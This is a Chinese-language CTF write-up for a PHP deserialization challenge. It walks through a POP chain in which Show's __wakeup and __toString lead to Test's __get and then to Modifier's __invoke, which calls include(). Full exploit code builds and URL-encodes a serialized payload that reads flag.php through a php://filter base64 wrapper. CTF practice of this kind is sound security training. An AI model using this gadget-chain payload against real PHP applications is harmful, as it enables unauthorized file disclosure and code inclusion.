一看题目,构造pop链。
首先看一下Modifier这个类:
有个append()函数,里面有个include()函数,该函数的作用是:包含并运行指定文件。
还有个invoke
我来简单讲一下这个pop链吧:
$a=new Show();
$b=new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
先创建2个show对象a,b,在最后反序列化的时候$a=new Show()会调用__wakeup()函数,此时a->source是b,b此时是一个Show()对象,就会调用b里面__toString()方法,此时b里面的str是Test()对象,Test()对象没有source变量,便会调用Test()里面的__get()方法,将Test()类里面的p创建为Modifier(),然后就会调用Modifier()里面的__invoke()方法,执行append()函数,实现文件执行的功能。
所以这个题的flag文件是flag.php,才可以执行。
还有一个要注意的点:Modifier()类里面有个protected类型的变量在序列化后会产生不可见字符,于是要用urlencode(serialize($a));来进行url编码显示出来。
参考代码:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
// $a =new show();
// $a->source=new show();
// $a->str=new Test();
// $a->str->p=new Modifier();
//echo serialize($a);
// $b=serialize($a);
// unserialize($b);
// $a=new Modifier();
// $b=new Show();
// $c=new Test();
// $c->p=$a;
// $b->source=new Show();
// $b->source->str=$c;
$a=new Show();
$b=new Show();
$a->source=$b;
$b->str=new Test();
($b->str)->p=new Modifier();
echo urlencode(serialize($a));
// $d=serialize($a);
// unserialize($d);```